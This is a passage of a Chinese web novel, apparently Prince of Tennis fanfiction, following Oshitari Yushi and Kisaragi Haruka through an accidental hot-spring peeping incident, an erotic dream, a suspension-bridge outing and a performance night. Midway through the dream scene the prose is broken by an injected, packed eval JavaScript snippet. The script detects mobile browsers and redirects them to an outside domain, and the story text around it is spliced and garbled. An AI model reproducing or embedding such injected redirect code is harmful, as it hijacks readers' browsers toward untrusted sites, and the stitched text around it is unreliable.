她也开始泡温泉了。 这个认知让忍足的心跳不由自主地加快了几分。 他下意识地端起旁边托盘上准备好的清酒,抿了一口,试图用微涩的酒液压下心头那点莫名的躁动。 他强迫自己仰头靠着池边,闭上眼睛,专注于享受此刻的放松,不去想象一墙之隔的景象。 旅馆的隐私设计确实很好,高大的竹篱笆密实地排列着,完全阻隔了看向隔壁庭院的视线,只能听到隐约的水声和一些模糊的动静。 他对此很满意,也认为这是最基本的尊重。 然而,他万万没有想到。 或许是日晒雨淋,或许是之前某位客人无意间的破坏,在他视线平行高度的竹篱笆上,竟然有一个极其不起眼的小小缝隙! 一个不过指甲盖大小、若非特定角度绝难发现的破洞。 他的目光原本是无意识地扫过那片竹篱,却恰好捕捉到了那一点异样。鬼使神差地,他的视线定格在了那个小洞上。 然后,他的呼吸骤然停滞了。 透过那个极小极小的孔洞,他窥见了隔壁温泉池的一角景象。 如月遥背对着他这边,乌黑的长发被随意地绾起,却仍有几缕被打湿的发丝不受束缚地黏在她光滑白皙的背脊上。 她是趴靠在池边,手臂搭在岩石上,这个姿势让她一大片美背毫无遮掩地暴露在空气中。 线条优美的蝴蝶骨微微凸起,向下是纤细却不失力量感的腰线,肌肤因为温泉的热度而泛着诱人的粉晕,在朦胧的水汽和昏黄的光线下,呈现出一种惊心动魄的、兼具柔美与力量感的视觉冲击。细腻的水珠沿着她的脊柱沟缓缓滑落…… 虽然她是趴伏着,但水波的荡漾和角度关系,让水面上方那饱满起伏的胸口弧线若隐若现,随着她的呼吸轻轻波动…… 轰——! 忍足只觉得一股极其凶猛的热流瞬间冲上头顶,脸颊、耳朵、乃至全身的皮肤都像被点燃了一样迅速发烫、变红! 大脑甚至来不及做出任何道德判断,身体最原始、最本能的反应已经先一步汹涌而至,血液疯狂地向下腹涌去…… 偷窥! 即使是无意的、猝不及防的偷窥,也绝非绅士所为! 残存的理智疯狂地拉响警报,强烈的负罪感和羞愧感瞬间淹没了他。他像是被烫到一样猛地转开视线,心脏狂跳得几乎要撞出胸腔。 但刚才那惊鸿一瞥的画面已经如同烙印般刻在了他的视网膜上,每一寸细节都在挑战着他的感官极限和自制力。 太难以忘记了! 他猛地深吸一口气,整个人毫不犹豫地滑入温泉水中,将滚烫的脸颊和躁动不安的身体彻底埋进温热的水里,试图利用水压和温度差来强行冷却身体那不受控制的可耻反应。 水下世界一片寂静,只有自己如擂鼓般的心跳声在耳边嗡嗡作响。 完了…… 忍足侑士,你真是个……混蛋…… 24. 第 24 章 忍足将自己整个埋入水中,试图用温泉的水压来冷却那突如其来的猛烈反应,以及内心翻江倒海的羞愧感。 然而,他高估了自己的闭气能力,也低估了刚才那一幕带来的冲击力对心肺功能的影响。 不过十几秒,强烈的窒息感和依旧狂乱的心跳就迫使他猛地从水中探出头来! “哗啦——!” 巨大的破水声在寂静的夜晚显得格外突兀,伴随着他抑制不住的、有些急促的喘息声。 这动静毫无疑问地惊动了隔壁的人。 隔着那道此刻在忍足眼中如同罪证般的竹篱笆,传来了如月遥带着明显疑惑的声音:“忍足?怎么了?” 她的询问透过竹篱的缝隙传来,清晰得仿佛就在耳边。 忍足的心脏又是一阵狂跳,差点从喉咙里蹦出来。 试图压下那过于急促的喘息和依旧滚烫的脸颊,湿漉漉的头发贴在额前,模样无比狼狈。 他含糊其辞,声音都因为心虚而有些变调:“没、没事……就是…在水里憋了口气。” 这个解释显然毫无说服力,隔壁沉默了一下,随即传来更加不解的疑问:“泡温泉……为什么要憋气?” “你泡温泉的时候练习游泳?” 忍足:“……” 他觉得自己蠢透了,这找的都是什么破借口,他恨不得再次把自己埋进水里不出来。 努力让声音听起来正常一点,大脑飞速运转,试图找一个更合理的理由来掩盖刚才的失态:“呃……不是……就是,那个……突然想洗个头!” 话一出口,他就想咬掉自己的舌头。这比练习游泳听起来更离谱。 隔壁陷入了更长久的沉默。 忍足几乎能想象出如月遥此刻脸上那副“这人脑子是不是被温泉泡坏了”的冷漠表情。 他尴尬地闭上了眼睛,感觉自己东大天才、关西贵公子、网球精英的所有形象在这一刻彻底崩塌,碎得连渣都不剩。 过了好一会儿,就在忍足以为她不会再搭理自己时,如月遥的声音才再次传来,语气里带着一种极其微妙的肯定: “……你的爱好,真是别致。” 忍足觉得自己脸颊刚被冷水压下去的热度又“腾”地一下烧了起来。尴尬地靠在池边,连指尖都因为尴尬而微微发麻。 完了,他在她心里的形象大概已经彻底和“奇怪”、“笨蛋”这类词挂钩了。 就在他沉浸在自我谴责中时,隔壁传来了轻微的水声。那声音由远及近,似乎是如月遥在水中移动,正朝着他这边竹篱笆的方向走过来。 忍足瞬间又紧张起来,心脏重新开始不受控制地加速。 她过来了? 她想干嘛? 难道……她发现了那个小洞?! 这个想法让他吓得魂飞魄散,几乎是下意识地握紧了拳头。 然而,如月遥在距离竹篱笆似乎还有一段距离的地方停了下来。 她并没有提起任何关于偷窥或孔洞的事情,只是用她那一贯平淡无波、似乎刚才什么都没发生的语气问道: “什么时候去吃晚饭?” “噗——”忍足差点被口水呛到。 是了……他怎么忘了! 对于如月大小姐来说,天大地大,吃饭最大! 尤其是准时吃饭! 泡温泉固然舒适,但绝不能耽误她享用晚餐的时间。看来她是泡得差不多了,并且对用餐时间有着严格的规划。 他连忙清了清嗓子,努力让声音听起来正常:“对,该吃晚饭了。” “我这就起来。大小姐你可以慢慢收拾,我们餐厅见?” “嗯。”如月遥简单地应了一声。 接着,忍足听到隔壁传来清晰的出水声,水花轻微溅落,然后是毛巾擦拭身体的声音,以及窸窸窣窣穿浴衣的动静。 最后,拉门被拉开又关上的声音传来——她回房间了。 直到确认隔壁彻底没了动静,忍足才长长地松了一口气,整个人几乎要虚脱般地滑进温泉里。 太惊险了…… 差点就社会性死亡了…… 他从水里站起来,拿起旁边干燥的毛巾擦拭身体。温热的夜风吹拂在他身上,他却依然觉得浑身燥热得惊人,心跳也迟迟无法完全平复。 一定是温泉泡太久了…… 对,一定是这样。 忍足以最快的速度冲完澡、换好衣服,头发甚至都没来得及完全吹干,只是胡乱擦了几下,发梢还滴着水,就匆匆赶到了旅馆的餐厅。 果然,如月遥已经坐在预订好的位置上了,面前放着一杯清水,手指正有一下没一下地敲着桌面,那副神情明确传达出“等得不耐烦了”以及“再不来就要发飙”的危险信号。 忍足连忙快步走过去,在她对面坐下,语气带着歉意:“抱歉抱歉,我来晚了。” 他下意识地捋了一下还有些湿漉漉的头发。 如月遥抬眸瞥了他一眼,目光在他半干的头发上停留了一瞬,似乎联想到了他刚才那个“泡温泉憋气洗头”的怪异行为。 她虽然完全无法理解这种“爱好”,但秉持着“不理解但尊重”的态度,她只是淡淡地“嗯”了一声,然后就将注意力完全转向了服务员刚刚送上的菜单。 食物很快被端了上来。 一旦开始吃东西,如月遥那点因为等待而产生的不耐烦似乎瞬间就被抚平了。 她对喜欢的菜肴会明显地多动几次筷子,遇到不合口味的,则会非常自然地将盘子往忍足那边推一推,仿佛这是再理所当然不过的事情。 忍足看着她这副理所当然让他“扫盘”的模样,心里非但没有任何不满,反而觉得高兴得要命,嘴角忍不住地上扬。 哎呀呀,这种被依赖的感觉,真是让人心情愉悦。 他享受着这种微妙的“投喂”乐趣,刚才温泉那惊险一幕带来的紧张和尴尬似乎也消散了不少。 然而,他这口气松得有点太早了。 正在专心品尝一块烤牛舌的如月遥,动作忽然毫无预兆地停了下来。鼻子微微动了动,像是捕捉到了什么细微的气味。 然后,她抬起头,清冷的目光直直地看向忍足,语气肯定地问:“你喝酒了?” 忍足心里“咯噔”一下,瞬间有种做坏事被当场抓包的心虚感,下意识地摸了摸鼻子,眼神飘忽了一下,才含糊地承认:“呃……嗯,就……刚才泡温泉的时候,小酌了一点清酒……” 他试图轻描淡写。 如月遥看着他这副明显不太自然的反应,微微蹙起了眉头。 忍足见她皱眉,心里有点慌,试探着问:“……是不喜欢男生喝酒吗?”他担心这会触犯到她的什么禁忌。 “也不算。”如月遥收回目光,重新拿起筷子,语气平淡,“只是我个人不爱喝而已。” “为什么?”忍足下意识地追问,甚至带上了点关西腔,“一点点也不行吗?清酒度数很低的。” 如月遥什么表情地给出了一个石破天惊的理由: “喝酒容易误事。” “酒后容易乱性。” “噗——咳咳咳!”忍足一口水差点全喷出来,幸好及时扭开头,才避免了直接喷到桌上的惨剧,但还是被呛得剧烈咳嗽起来,脸颊瞬间爆红。 乱、乱性?! 她怎么会突然提到这个?! 难道……她刚才其实发现了什么? 是在暗示什么吗? 还是在警告他? 心虚和慌乱瞬间淹没了他,让他完全不敢直视如月遥的眼睛,眼神四处乱飘,手脚都不知道该往哪里放。 而被他不小心溅到几滴水珠的如月遥,则明显露出了不高兴的神情,皱着眉头看着自己手臂上和他面前桌布上的水渍。 “对、对不起。”忍足这才反应过来,抓起桌上的餐巾纸,隔着桌子试图帮她擦拭,动作手忙脚乱,“我不是故意的!真的对不起!” 如月遥接过纸巾,自己擦了擦手臂,看着他这副惊慌失措、面红耳赤的样子,眉头蹙得更紧了,完全不能理解他为什么反应这么大。 她只是陈述了一个众所周知的常识而已,他这个表现……也太奇怪了吧? 忍足侑士此刻只想再次把自己埋进温泉里,永远不要出来了。 夜色深沉 温泉旅馆的和室里一片静谧,只有窗外偶尔传来的竹叶沙沙声。 忍足侑士在榻榻米上辗转反侧,最终被白日那惊鸿一瞥拖入了一个光怪陆离、却又无比真实的梦境。 梦里,依旧是熟悉的温泉。 但阻隔视线的竹篱消失了,袅袅升腾的水汽弥漫在开阔的空间里,月光如同流动的水银,洒在波光粼粼的水面上。 他浸泡在温热的泉水中,目光却被前方那道背对着她的身影牢牢攫住。如月遥就在同一个池子里,离他不过几步之遥。 湿漉漉的鸦青长发被随意挽起,露出大片白皙得晃眼的背脊。优美的肩胛骨线条,深陷的脊柱沟,纤细而充满韧劲的腰肢,月光和水汽为她镀上了一层朦胧而诱惑的光晕。 那片无瑕的白皙仿佛带着致命的吸引力,牵引着忍足不受控制地向她靠近,水流因他的动作而轻缓地荡漾开。 察觉到有人靠近,水中那道纤细的身影缓缓转了过来。 水珠沿着她修长的脖颈滑落,滚过精致的锁骨。微红的脸颊在月光下如同初绽的樱花,那双总是清冷的墨玉眼眸此刻正看向他,里面没有平日的疏离和警惕,也没有被冒犯的不满,只有一层如同水雾般的朦胧,映着跳跃的水光和他的身影。 忍足的心跳如擂鼓。 他欺身上前,双臂有力地撑在她身体两侧光滑的石壁上,瞬间将她困在自己胸膛与石壁形成的狭小空间里。 温热的泉水包裹着两人,蒸腾的水汽几乎让人窒息。 他低下头,呼吸灼热地拂过她的额发。 如月遥微微仰起脸,那双漂亮的眉毛习惯性地挑起一个小小的弧度,似乎在无声地问:“你想做什么?” 藏在水下的手臂倏然抬起,带起一串晶莹剔透的水花。手指如同拥有自己的意识,轻轻落在了忍足坚实的胸肌上。 指尖微凉,触感却是滚烫,忍足的身体瞬间绷紧。 手指却并没有停留,而是带着好奇的意味,顺着他肌肉绷紧的线条,缓慢地、一寸一寸地向上攀爬。 掠过胸膛,拂过肩颈的线条,最终手臂如同缠绕的藤蔓,柔柔地、却又带着不容挣脱的力道,环上了他的脖子。 她的身体因为这动作而微微前倾,隔着温热的水流若有似无地贴上了他的胸膛。 那份触感,细腻温软又带着致命的弧度,让忍足浑身的血液沸腾。 梦境中的如月遥似乎还不太满意,微微蹙着眉,红唇微启,像是在抱怨什么。 忍足根本听不清她嘟囔的话语,他所有的感官都被那张近在咫尺、泛着诱人水泽的红唇所侵占。 红茶色。 他记得的。 那是她今天唇上的颜色。 理智的弦在那一刻彻底崩断,忍足低下头,带着一种近乎虔诚又无比贪婪的渴望,狠狠地攫住了那抹诱人的红茶色。 “唔……” 唇瓣相贴的瞬间,如同触电。 柔软微凉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526626|186328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着她独有的、冰冷的雪松气息混合着温泉的硫磺味。 起初只是一个带着试探和掠夺意味的碰触,但那份甘美和悸动瞬间点燃了忍足压抑已久的所有火焰。 这个吻迅速地加深、变得狂野。 如同不知餍足的兽,急切地撬开齿关,贪婪地汲取着甘甜的津液。 他的手臂猛地收紧,将她温软的身体按向自己。另一只手带着不容抗拒的力道,托住了她的后脑勺,迫使她无法后退。 所有的理智和思考能力在彻底融化,只剩下最原始的汹涌欲望在咆哮。 “嗯……”似乎是被他过于激烈的吻弄得不舒服,唇齿交缠间,忍足感到下唇传来一阵轻微的刺痛。 她咬了他一口,带着小小的不满和抗议。 但这轻微的刺痛感非但没有让他清醒,反而如同火上浇油,他甘之如饴。 手臂收得更紧,仿佛要将她所有的气息和呜咽都吞噬殆尽。 再然后…… 梦境变得愈发模糊而滚烫。 纤细的手指仿佛带着电流,在他紧绷的脊背上无意识地抓挠…… 温热的泉水包裹着纠缠的身体,如同最缠绵的摇篮…… 水声激荡。 “唔!” 忍足侑士猛地从榻榻米上弹坐起来,心脏在胸腔里疯狂地擂动,如同要挣脱束缚,全身的肌肉紧绷,额角布满了冷汗,呼吸急促得如同刚刚跑完一场马拉松。 窗外天光微亮,房间里一片寂静。 哪里有什么温热? 哪里有什么旖旎? 只有他自己,一个人,睡在冰冷的榻榻米上,身上穿着整齐的浴衣,而身下正传来一阵阵清晰无比的、尴尬至极的胀痛! 梦境还清晰地残留在感官深处,与现实中冰冷的安静形成了荒谬而羞耻的对比。 忍足懊恼地低吼一声,双手用力地插进自己的头发里,用力揉搓。 脸颊滚烫得如同火烧。 该死! 他怎么会做这种梦! 对象还是……她! 巨大的羞耻感和违背绅士教养的背德感刺痛了他,而生理反应带来的不适,更让他狼狈不堪。 几乎是逃也似的冲进了房间附带的浴室,冰凉的水柱兜头浇下,试图浇灭那源自梦境、却灼烧着现实的邪火。 早餐是在旅馆的餐厅用的。 忍足刻意挑选了一个距离如月稍远的位置坐下,用餐过程中更是几乎不敢抬头与她对视。 每一次目光无意中扫过她平静的侧脸,都会让他不由自主地想起那个透过小洞窥见的、氤氲水汽中白皙泛红的背脊,以及后来那个更加不可言说的梦境。 他在心里默默苦笑:以前看那些纯爱小说里男主因为一点暧昧接触就心绪大乱、手足无措,他还觉得夸张。 现在轮到自己亲身经历,才知道这种“搬起石头砸自己的脚”的感觉有多么真实而煎熬。 提议来温泉的是他,结果被搅得心神不宁、丑态百出的也是他。 真是太失策了。 如月遥显然注意到了他的异常安静。她放下筷子,语气里带着疑惑:“你脸色不太好。晚上没睡好?” 忍足差点被粥呛到,含糊地应道:“啊……嗯,有点……可能是有点认床吧。”他找了个最普遍的借口。 出乎意料的是,如月遥听了这个理由,非但没有怀疑,反而几不可查地弯了一下嘴角,语气里甚至带上了一丝近乎调侃的意味。 “嗯。贵公子认床,也是合理的。” 忍足:“……” 他一时竟分不清她是在单纯陈述,还是在暗暗讽刺他。只能更加尴尬地低下头,默默喝粥,感觉脸颊又开始发热。 总算煎熬地吃完了早餐,忍足赶紧提出接下来的行程安排,试图转移注意力和尴尬气氛:“一会儿我们去看看谷濑吊桥吧?是奈良很有名的自然景观,据说很壮观。” 如月遥对此没有异议,点了点头:“可以。” 两人各自回房间拿行李准备退房。 忍足走进浴室,准备收拾一下个人用品。目光却不由自主地落在了洗衣篮里,那件昨晚换下来的浴袍随意地扔在里面。 而浴袍的某处,还残留着一点极其微小的、已经干涸的、只有他自己知道是什么的痕迹…… 像被火烫到一样,忍足猛地移开视线,心脏又开始不争气地狂跳。 不行! 绝对不能让旅馆的清洁人员看到这个! 太羞耻了!太丢人了! 他站在原地,做贼似的左右看了看,尽管房间里只有他一个人,依旧是脸上青一阵白一阵,内心经历了短暂而激烈的天人交战。 最终,下定了决心,拿起桌上喝剩的半瓶矿泉水,拧开盖子,然后回到洗衣篮前。 他对着那处“罪证”,眼睛一闭,心一横,将瓶子里的水小心翼翼地、均匀地倒了下去。 清水迅速浸湿了那一小块布料,将原本明显的痕迹晕开、淡化,变得模糊不清,看起来就像是无意中溅上的普通水渍。 做完这一切,忍足才长长地松了一口气,仿佛卸下了千斤重担。 他看着那片湿漉漉的衣服,自我安慰般地小声嘀咕:“嗯……这样就好了……就是不小心弄上水了而已……对,就是这样……” 他强作镇定地将浴袍重新团了团,塞进洗衣篮的最底部,然后拎起自己的行李包,快步走出了房间,仿佛身后有什么东西在追他一样。 直到站在走廊上,呼吸到新鲜空气,他才感觉脸上的热度稍稍褪去一些。 只是指尖仿佛还残留着刚才倒水时那微微颤抖的感觉。 25. 第 25 章 谷濑吊桥悬挂于郁郁葱葱的山谷之间,长长的桥身随着山风轻轻摇曳。 山谷间吹来的风格外清爽,带着草木和溪流的气息。 忍足侑士也是第一次来这个景点。 看着那简陋的、仅由木板和钢索构成的吊桥横跨在深邃的溪谷之上,心里不免有些打鼓。 但看着如月遥已经率先踏上了桥板,他自然不能露怯,也跟着走了上去。 起初的一段还算平稳,虽然能看到下方奔流的溪水和嶙峋的岩石,但桥身晃动幅度很小,忍足镇定地欣赏两侧的山景。 然而,越往桥中心走,山风越大,吊桥开始明显地左右摇摆起来,脚下的木板也随之发出轻微的吱呀声。 桥身晃动的幅度远远超出了忍足的预期,每一次摇晃都让他感觉心脏仿佛要跳出胸腔,下意识地抓紧了旁边的护索,指尖都有些发白。 这个高度……一旦掉下去…… 他强迫自己不去看脚下那令人眩晕的高度,努力维持着平衡,但步伐明显变得迟疑。 走在前面的如月遥似乎察觉到了他放缓的脚步和不同寻常的沉默。 她停下脚步转过身,目光落在他微微发白的脸上和紧抓着护索的手上,带着一丝探究:“怎么了?” 她顿了顿,看着他询问道,“害怕了?” 开玩笑! 忍足侑士怎么可能在喜欢的女人面前承认自己害怕? 还是在这么一座看起来“弱不禁风”的吊桥上! 他刚想挺直腰板,摆出一副云淡风轻的样子说“完全没有,这点晃动算什么”,然而,仿佛是为了故意拆他的台,一阵更强的山风恰好在此刻呼啸而过。 “呜——” 整座吊桥猛地向一侧倾斜晃动,木板发出更明显的呻吟声。 忍足猝不及防,身体跟着一晃,差点没站稳,脸色“唰”地一下变得更白了。 所有强撑出来的镇定瞬间瓦解,几乎是本能地更紧地抓住了冰冷的钢索,指节用力到泛白。 如月遥看着他这副明明害怕却还要硬撑的模样,沉默地看了他两秒,然后向他伸出了一只手。 “如果害怕,就拉着我。” 忍足看着伸到面前的那只纤细却十分有力的手,内心剧烈挣扎。 男性的自尊心让他还想最后挣扎一下,维持所剩无几的颜面,但吊桥显然不打算给他这个机会。 又是一阵不间断的山风吹来,桥身持续地、规律地晃动着,每一次晃动都像是在挑战他脆弱的神经底线。 最终,求生的本能战胜了那点可怜的羞耻心。 忍足几乎是在下一波晃动袭来的瞬间,立刻伸出手,有些慌乱地、牢牢地抓住了她的小臂。 触手之处,是意料之中的微凉,以及隐藏在纤细外表下的、不容小觑的坚实力量感。 如月遥的手臂被他抓得微微一顿,但她并没有不悦,只是低头看了一眼他紧紧抓着的手,然后抬起头,什么也没说,自然地转过身,继续朝着对岸走去。 她就那样任由他抓着自己的小臂,步伐稳定而从容,仿佛完全不受吊桥晃动的影响,像一个沉稳的领航员,牵引着在风浪中颠簸的小船。 有了她的引领和支撑,忍足感觉脚下的晃动似乎也不再那么令人恐慌了,虽然心跳依旧很快,但至少不再是因为纯粹的恐惧。 跟在她身后半步的距离,目光落在她挺直的背脊和随风轻轻扬起的发梢上,手心感受着她手臂传来令人安心的温度和力量,忽然觉得偶尔示弱一下,感觉也不坏。 至少,他能如此正当地、紧紧地抓住她的手臂。 走到吊桥的中段,风势似乎更盛了一些,桥体晃动得也更加明显。 如月遥却仿佛毫无所觉,自然而然地停下了脚步,目光投向远方的层叠山峦和桥下奔腾的白色水流,表情是一贯的淡定从容,甚至带着一丝欣赏。 忍足侑士可就没这份闲情逸致了。 他紧紧抓着她的小臂,手指甚至无意识地多用了几分力,全身肌肉都处于一种微妙的紧绷状态,试图对抗着脚下那令人心慌的摇晃,根本不敢松开手往外看。 如月遥感受到手臂上增加的力道和身旁人的僵硬,微微侧过头瞥了他一眼。 然后稍稍用力,不是甩开,而是顺势将他往自己这边又拽近了一点。 这下,两人几乎是肩并肩地站在一起了,共享着同一段随着山风轻轻摇摆的桥面。 “害怕没什么不能说的。”她开口,声音清泠,混在风声中却异常清晰,“强撑着的表情,一点也不帅气。” 被直接戳穿,忍足脸上闪过一丝窘迫,但看着她平静的侧脸,那点可笑的自尊心忽然就泄了气。 他叹了口气,终于坦诚道:“是有点怕。这个高度,加上这个晃法,确实出乎我意料。” 顿了顿,语气里带上由衷的佩服,“还是大小姐厉害,心理素质太强了,完全不怕。” 如月遥的目光依旧看着山谷,波澜不惊地回忆:“我小时候,也很怕高,怕很多东西。” 忍足有些惊讶地看向她。 “但是,”她继续道,语气里听不出什么情绪,只是平铺直叙,“怕没有用。只会被人一次又一次推到更高的地方,更危险的地方。” 她的话语里透出一种与年龄不符的冷硬和过往,“我能做的,只有看着它,面对它,直到它再也吓不倒我。” 这个“小时候”,听起来绝非什么美好温馨的回忆。 忍足不由得蹙紧了眉头,心底泛起细密的心疼,他对那些如此对待她的人表现出一丝怒意:“对女孩子这样,太过分了。” 如月遥没有接他的话,似乎并不想深入谈论那段过去。 她转而看向前方被风吹得起伏的山林,话锋一转,近乎禅意地安抚他:“试着去感受风。” “什么?”忍足一时没反应过来。 “风会让你摇晃,”她抬起没被他抓住的那只手,指尖仿佛在触碰流动的空气,“但它也会托举你。找到它的节奏。” 忍足怔了怔,下意识地学着她的样子,尝试放松下来,不再僵硬地对抗晃动,而是去感受风穿过发梢、拂过衣襟的力度和方向,去适应吊桥摇摆的频率,甚至尝试着在晃动中微微调整重心。 奇妙的是,当他不再抗拒,而是尝试去顺势而为时,那令人心悸的晃动感似乎真的减轻了。 剧烈的摇摆变成了有规律的起伏,吊桥仿佛变成了一个悬于天地之间的摇篮。虽然心跳依然比平时快,但那份恐慌确实悄然褪去了一些。 “好像……真的没那么可怕了。”他有些不可思议地低声说道,紧绷的神经稍稍放松。 忍足发觉,在这种环境下,她似乎比在人群中更加松弛和专注,于是问道:“你好像很喜欢自然风光?” 如月遥只是很轻地“嗯”了一声,算是承认。 脚下的溪流奔腾不息,水声轰鸣,拍打着岸边的岩石,彰显着大自然的力量。 忍足看着那湍急的水流,半是感叹半是后怕地开了个玩笑:“要是这桥真的断了,掉下去估计就完蛋了吧。” 闻言,如月遥转过头来看他。 山风吹起颊边的碎发,她忽然极淡地笑了一下,清冷的声音清晰地传入他耳中: “那你应该感恩。” “至少,你能和我死在一起。” 忍足侑士的心脏猛地一跳,瞬间忘记了脚下的高度,忘记了摇晃的吊桥,忘记了呼啸的山风。 整个世界仿佛只剩下她那张带着淡然笑意的脸,和那句石破天惊、却又无比符合她风格的话语。 是玩笑吗? 是安慰吗? 还是……某种另类的认可? 他不得而知,只觉得一股极其复杂的情感瞬间攫住了他,让他哑口无言,只能怔怔地看着她。 如月遥却已转回头,仿佛只是随口说了一句再平常不过的话,继续迈开脚步,引领着他,稳稳地走向吊桥的彼端。 只剩下忍足一个人,心如擂鼓,手心里还保留着她手臂微凉的触感,耳边反复回响着那句—— 至少,你能和我死在一起。 走到吊桥另一端,忍足才松开了她的手臂。 如月看他脚踩大地之后的如释重负,挑了挑眉说,“你手劲还挺大。” 忍足指尖还残留着如月手臂的温度和细微的布料质感,连忙道歉:“抱歉,我抓得太用力。” “这点算什么。” 夕阳勾勒她侧脸轮廓,语气平淡得近乎冷酷,却让忍足心脏猛地一揪,那些她无意间谈到的关于残酷训练的碎片记忆突然刺入脑海。 他张了张嘴,却被她抢先截断话头。 “你该加强下盘锻炼。”如月脚步未停,墨色发梢被晚风撩起,“下盘稳了,就不怕晃。” 说罢瞥他一眼,又补刀,“打网球也能少摔几次。” 果然又被嫌弃了。 忍足几乎能听见自己网球男神形象碎裂的声音,关西腔里掺进无奈苦笑:“那……大小姐愿意亲自指导吗?” “不愿意。”拒绝得干脆利落,像出鞘的短刃。 啊,果然。 忍足正要习惯性露出沮丧表情,却听见她再度开口。 “最多发你几个教学视频。”她目视前方,语调毫无波澜,“自己跟着练。” 忍足镜片后的眼睛倏然亮起,嘴角控制不住地上扬:“是是~” 尾音愉悦地上扬,关西腔黏糊糊地裹着蜜糖。 “那视频什么时候发 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“赔罪礼。”他推推眼镜,话语里裹着笑意,“刚才吊桥上抓疼大小姐的补偿。” 如月遥伸手接过,指尖陷进柔软绒毛里,她极轻地捏了捏鹿耳朵:“还行。” 唇角抿起一个几不可见的柔和弧度,像初春冰雪裂开第一道细缝。 他心头一荡,趁热打铁:“那下次我们去其他地方,也给大小姐送纪念品?” 这话说得像试探又像承诺,尾音悄悄上扬。 “随你。”如月把玩偶塞进随身托特包里,“反正我包多。” 晚餐选在附近一家茶屋。 忍足特意点了烤牛排和红豆年糕,完美避开所有鱼生和苦味食材。如月小口啃着年糕时,忍足手机在口袋里震个不停。 冰帝网球部群聊已然炸锅: 【向日岳人】:@忍足侑士周末打球你又放鸽子!第几次了! 【迹部景吾】:[分享链接:东大论坛热帖《医学部那位天才最近总是出现在文学部楼下》] 【迹部景吾】:啊嗯,忍足改行当地陪了。 【宍户亮】:……这女的谁?忍足谈恋爱了? 【凤长太郎】:偷拍的角度有点模糊,但这位小姐很漂亮呢,和忍足前辈很配。 【向日岳人】:@忍足侑士出来交代! 【芥川慈郎】:zzZ…嗯?侑士有女朋友了?! 【日吉若】:下克上… 忍足盯着屏幕上疯狂滚动的消息,苦笑地按了按眉心。 “看什么?”对面突然传来声音。如月正用勺子戳开年糕流心,红豆馅漫出来,“手机震半天了。” 忍足下意识把屏幕扣过去:“没什么,网球部那群家伙吵着周末打球。” 引擎熄火的声音在车库回荡时,忍足才真正从奈良的暖潮中抽离。 副驾驶座上早已空无一人,只余一缕极淡的雪松冷香,缠在空调出风口,像她若即若离的态度。 他解开安全带,指尖无意识摩挲着副驾的皮革,那里似乎还残留着如月的温度。 两天一夜的短途旅行,此刻回想竟像被拉长的慢镜头:温泉氤氲水汽里惊鸿一瞥的背脊曲线、吊桥上她手臂坚定不容置疑的支撑力、甚至她捏着小鹿玩偶时睫毛垂落的柔和弧度…… “啊……真是……”他仰头靠在椅背上,喉结滚动。 温泉的画面浮现在脑海的瞬间,他猛地推开车门,几乎有些狼狈地逃进家里。 晚餐是便利店买的便当。 微波炉叮一声响起时,手机屏幕也跟着亮起。 冰帝群聊已然从八卦进阶到年度策划: 【向日岳人】:轻井沢!别墅+网球场!早就订好了!@忍足侑士必须带大美女来! 【宍户亮】:啧,人家同意当忍足家属了吗你就喊? 【凤长太郎】:前辈不要太着急……不过也很期待见到那位小姐。 【芥川慈郎】:zzZ…嗯?我家铺子的水蜜桃芭菲最近限量供应……侑士要不要带人来? 【迹部景吾】:啊嗯,慈郎家后厨应该够塞某个甜食党的胃。 忍足戳着便当里的玉子烧,苦笑。 迹部这家伙果然什么都知道,连如月嗜甜如命的口味都摸清了。 指尖在屏幕上悬停半晌,最终敲出一行字: 【忍足侑士】:别瞎起哄,还在追求中呢,能不能请动尊驾得看大小姐心情。 消息刚发出去就遭到围攻。 向日刷了一排“没出息”的表情包,慈郎疯狂安利新品大福,连日吉都冒出一句“下克上要加速啊前辈”。 26. 第 26 章 东大汇演前夜 夏夜的燥热凝滞在服装工作室里,缝纫机的嗡鸣声与布料摩擦声此起彼伏。忍足倚在门框边,目光安静地落在如月身上。 水谷雅子正仔细调整着如月腰间的系带,指尖灵巧地穿梭于淡绿与月白交织的丝绸间。 “如月同学,请再稍微转身一点……”水谷的声音带着艺术创作者特有的热情,“这身设计简直是为您而生!” 如月配合地微侧过身,裙摆流转间琼花纹样若隐若现。 “好了!”水谷退后两步端详作品,双手合十,“接下来我还有三套设计,如月同学一定要继续做我的模特!” 忍足注意到如月轻轻颔首,这个简单的动作让他无意识地推了推眼镜。 “水谷同学真是幸运呢。”忍足的声音带着恰到好处的关西腔调,慵懒中藏着一丝不易察觉的酸意,“能让大小姐这么配合。” 如月闻声抬眼,眸光如水,不起波澜,“水谷的设计很出色。” 她语气平淡如常,话语里却已经是对外人罕见的认可。 水谷笑嘻嘻地说:“如月同学简直是我的灵感缪斯!” 她自然地挽住如月的手臂,而这个动作让忍足的目光微沉,即便是同性,这样的亲近也让他心生嫉妒。 迹部景吾不知何时出现在走廊,倚在门边挑眉:“啊嗯?还在这里浪费时间?明天要是出问题,本大爷可不会轻饶。” 他的视线在忍足和如月之间转了转,带着几分看好戏的意味。 “我先回去了。”如月跟众人告辞,朝门口走去,经过忍足身边时脚步未停,只留下一缕清冷的雪松香。 忍足注视着那抹渐行渐远的身影,直到迹部的声音将他拉回现实: “别看了,人已经走远了。”迹部语气带着惯有的调侃,“你的目光热切得能把那件衣服点燃。” 忍足无奈地笑了笑,耸了耸肩掩饰情绪。 他知道如月对水谷的特殊宽容源于那张与故人相似的脸,但这个认知反而让他的心绪更加复杂。 高校联合汇演的巨大成功,在经久不息的掌声和闪光灯中落下帷幕。 多种乐器联合演奏的《穿越时空的思念》,如同天籁之音,征服了所有观众。 被掌声和鲜花包围的后台,迹部豪迈地表示已经包下了高级料理亭用来举办庆功宴。忍足转身想找那抹身影,却被人告知,演出完她就已经先走了,明明是以琵琶引导整场演出的灵魂人物,却在结束之后像风一样离开。 迹部微微皱眉,拿出手机想联络她,忍足却拦住了他。 